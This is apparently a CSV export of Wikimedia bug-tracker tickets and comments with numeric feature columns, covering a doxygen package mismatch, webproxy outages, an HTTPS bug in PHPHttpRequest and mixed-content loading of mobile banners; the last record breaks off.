261807,tools-login has different repository than other nodes,"With -login having been downgraded to the same version, this unifies all to 1.7.6",,,1385144007,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c2,3,False,,,12,True,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.533333333333333,0.9333333333333333,"With -login having been downgraded to the same version, this unifies all to 1.7.6"
261801,tools-login has different repository than other nodes,"Change 97055 merged by coren:
Tool Labs: install doxygen{,-latex}

https://gerrit.wikimedia.org/r/97055",,,1385143938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.9333333333333333,"Change 97055 merged by coren:
Tool Labs: install doxygen{,-latex}

GERRIT_URL"
261794,tools-login has different repository than other nodes,"Change 97055 had a related patch set uploaded by coren:
Tool Labs: install doxygen{,-latex}

https://gerrit.wikimedia.org/r/97055",,,1385141890,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.55,0.95,"Change 97055 had a related patch set uploaded by coren:
Tool Labs: install doxygen{,-latex}

GERRIT_URL"
261786,tools-login has different repository than other nodes,"The version installed on tools-login is, in fact, not available through any of the enabled revisions or repos -- and that specific version seems to come from Quantal (and not unstable, which provides 1.8.5-1).

I have no memory of having backported that package, there is no related log entry nor does there seem to be a ticket in bugzilla requesting that specific version.  I'm going to forcibly restore doxygen to the supported Precise version.",,,1385141406,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c2,3,False,,,12,True,1.0,0.0,0.0,0.0,2.0,7.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,2.0,1.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,3.0,6.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.155555555555556,0.7333333333333333,"The version installed on tools-login is, in fact, not available through any of the enabled revisions or repos -- and that specific version seems to come from Quantal (and not unstable, which provides 1.8.5-1).

I have no memory of having backported that package, there is no related log entry nor does there seem to be a ticket in bugzilla requesting that specific version.  I'm going to forcibly restore doxygen to the supported Precise version."
58158,tools-webproxy intermittently down for http,"see http://ganglia.wmflabs.org/latest/?c=tools&h=tools-webproxy&m=load_one&r=hour&s=by%20name&hc=4&mc=2

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1382708100,1383053246.0,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,False,PHID-TASK-q2i23llzx5y57tttmumu,task_description,resolved,True,c2,3,False,False,True,8,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.55,"see URL

--------------------------
**Version**: unspecified
**Severity**: normal"
275971,tools-webproxy intermittently down for http,*** Bug 56244 has been marked as a duplicate of this bug. ***,,,1383054215,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56244 has been marked as a duplicate of this bug. ***
275963,tools-webproxy intermittently down for http,Problem located and squished; it turns out that one of the tools was accidentally causing a DDOS by triggering flood protection.  Settings have been tweaked to be more forgiving.  :-),,,1383053246,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,3.0,3.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,4.4,0.9428571428571428,Problem located and squished; it turns out that one of the tools was accidentally causing a DDOS by triggering flood protection.  Settings have been tweaked to be more forgiving.  :-)
275954,tools-webproxy intermittently down for http,"There appears to be an intermittent problem, but that problem only affects http:// and not https://",,,1382714329,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.9411764705882355,0.9411764705882353,"There appears to be an intermittent problem, but that problem only affects http:// and not https://"
275947,tools-webproxy intermittently down for http,"The proxy actually seems fine, and has been running without interruption (at least, I see no 'blank spots' in the logs since the NFS migration (with 200s in basically every minute).

I'm guessing that the issue is with the ganglia instrumentation.",,,1382711595,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c2,3,False,,,8,True,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,8.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,0.8076923076923077,"The proxy actually seems fine, and has been running without interruption (at least, I see no 'blank spots' in the logs since the NFS migration (with 200s in basically every minute).

I'm guessing that the issue is with the ganglia instrumentation."
58047,PHPHttpRequest doesn't work with HTTPS,"Introduced by 1c927b1df2a (Iab2bda1ebc). Turns out PHP expects the context scheme name to be ""http"" regardless of whether the actual protocol is HTTP or HTTPS. This breaks PHPHttpRequest for all HTTPS requests since it no longer sets the stream context properly.

--------------------------
**Version**: 1.22.0
**Severity**: normal",High,80.0,1382542620,1399636250.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-i3ra3luvp4o57n2apqkg,task_description,resolved,True,c2,3,False,False,False,8,True,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,17.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,11.0,6.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.378787878787879,0.7575757575757576,"Introduced by 1c927b1df2a (Iab2bda1ebc). Turns out PHP expects the context scheme name to be ""http"" regardless of whether the actual protocol is HTTP or HTTPS. This breaks PHPHttpRequest for all HTTPS requests since it no longer sets the stream context properly.

--------------------------
**Version**: 1.22.0
**Severity**: normal"
268960,PHPHttpRequest doesn't work with HTTPS,"Backported to REL1_22, closing again as FIXED.",,,1399636250,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,True,,,36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.444444444444445,1.0,"Backported to REL1_22, closing again as FIXED."
268957,PHPHttpRequest doesn't work with HTTPS,"Change 132184 merged by jenkins-bot:
Fixed stream wrapper in PhpHttpRequest

https://gerrit.wikimedia.org/r/132184",,,1399546172,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.9375,1.0,"Change 132184 merged by jenkins-bot:
Fixed stream wrapper in PhpHttpRequest

GERRIT_URL"
268954,PHPHttpRequest doesn't work with HTTPS,"Change 132184 had a related patch set uploaded by MarkAHershberger:
Fixed stream wrapper in PhpHttpRequest

https://gerrit.wikimedia.org/r/132184",,,1399545959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.526315789473684,1.0,"Change 132184 had a related patch set uploaded by MarkAHershberger:
Fixed stream wrapper in PhpHttpRequest

GERRIT_URL"
268951,PHPHttpRequest doesn't work with HTTPS,"Change 91393 merged by jenkins-bot:
Fixed stream wrapper in PhpHttpRequest

https://gerrit.wikimedia.org/r/91393",,,1391123566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.875,1.0,"Change 91393 merged by jenkins-bot:
Fixed stream wrapper in PhpHttpRequest

GERRIT_URL"
268948,PHPHttpRequest doesn't work with HTTPS,"Change 91393 had a related patch set uploaded by Parent5446:
Fixed stream wrapper in PhpHttpRequest

https://gerrit.wikimedia.org/r/91393",,,1382542832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.157894736842105,1.0,"Change 91393 had a related patch set uploaded by Parent5446:
Fixed stream wrapper in PhpHttpRequest

GERRIT_URL"
57860,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"To replicate, go to https://m.mediawiki.org - with console open, you should see an error like:

[blocked] The page at https://m.mediawiki.org/wiki/MediaWiki ran insecure content from http://meta.m.wikimedia.org/wiki/Special:BannerRandom?uselang=en&sitename=M…roject=wikimedia&anonymous=false&bucket=1&country=US&device=android&slot=6.

I presume this makes it impossible to run CN banners on mobile devices for logged in users.

I chatted briefly with Matt Walker about this and it sounds like this is the result of how infrastructure is currently architected, though there may be an easy solution of forcing mobile URLs in CentralNotice using MobileContext::getMobileUrl() from MobileFrontend.

--------------------------
**Version**: master
**Severity**: normal",High,80.0,1382059200,1398408159.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-nhm2ipniixhjagqyuoq7,task_description,resolved,True,c2,3,False,False,False,7,True,0.0,0.0,0.0,1.0,0.0,4.5,2.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,2.5,11.5,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,1.0,3.5,1.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,9.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.0,2.5,10.5,2.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,11.5,4.5,0.0,0.0,0.0,3.0,0.0,1.0,1.5,0.0,2.0,0.0,0.0,0.5,4.294642857142858,0.8214285714285714,"To replicate, go to URL - with console open, you should see an error like:

[blocked] The page at URL ran insecure content from URL

I presume this makes it impossible to run CN banners on mobile devices for logged in users.

I chatted briefly with Matt Walker about this and it sounds like this is the result of how infrastructure is currently architected, though there may be an easy solution of forcing mobile URLs in CentralNotice using MobileContext::getMobileUrl() from MobileFrontend.

--------------------------
**Version**: master
**Severity**: normal"
258862,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"No reply to comment 8 - assuming this bug is FIXED.
If that is not the case: Please reopen and elaborate what is left to do here to get this report fixed.",,,1398408159,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,True,,,34,True,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,11.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4444444444444446,0.8333333333333334,"No reply to comment 8 - assuming this bug is FIXED.
If that is not the case: Please reopen and elaborate what is left to do here to get this report fixed."
258857,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"mwalker:
Patch was merged a while ago - is there more work left to do here (if yes: please reset the bug report status to NEW or ASSIGNED), or can you close this ticket as RESOLVED FIXED?",,,1392383043,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,True,,,24,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,9.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,9.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.4545454545454546,0.9318181818181818,"mwalker:
Patch was merged a while ago - is there more work left to do here (if yes: please reset the bug report status to NEW or ASSIGNED), or can you close this ticket as RESOLVED FIXED?"
258851,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 92806 merged by jenkins-bot:
Serve Mobile URLs to Mobile Users

https://gerrit.wikimedia.org/r/92806",,,1383176344,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.235294117647059,0.9411764705882353,"Change 92806 merged by jenkins-bot:
Serve Mobile URLs to Mobile Users

GERRIT_URL"
258843,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 92806 had a related patch set uploaded by Mwalker:
Serve Mobile URLs to Mobile Users

https://gerrit.wikimedia.org/r/92806",,,1383174528,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,40.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.45,0.95,"Change 92806 had a related patch set uploaded by Mwalker:
Serve Mobile URLs to Mobile Users

GERRIT_URL"
258833,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"**mwalker** wrote:

%%%*** Bug 56393 has been marked as a duplicate of this bug. ***%%%",,,1383174514,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.3125,0.5625,"**mwalker** wrote:

%%%*** Bug 56393 has been marked as a duplicate of this bug. ***%%%"
258825,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"**mwalker** wrote:

eh... not really; the patch didn't work. So! New patch!",,,1383174482,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7083333333333335,0.7916666666666666,"**mwalker** wrote:

eh... not really; the patch didn't work. So! New patch!"
258819,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,Looks like the patch was merged and I'm no longer seeing the issue on m.mediawiki.org. Can this bug be closed?,,,1383157363,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,3.9565217391304346,0.9565217391304348,Looks like the patch was merged and I'm no longer seeing the issue on m.mediawiki.org. Can this bug be closed?
258813,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 90639 merged by Adamw:
Serve Mobile URLs to Mobile Users

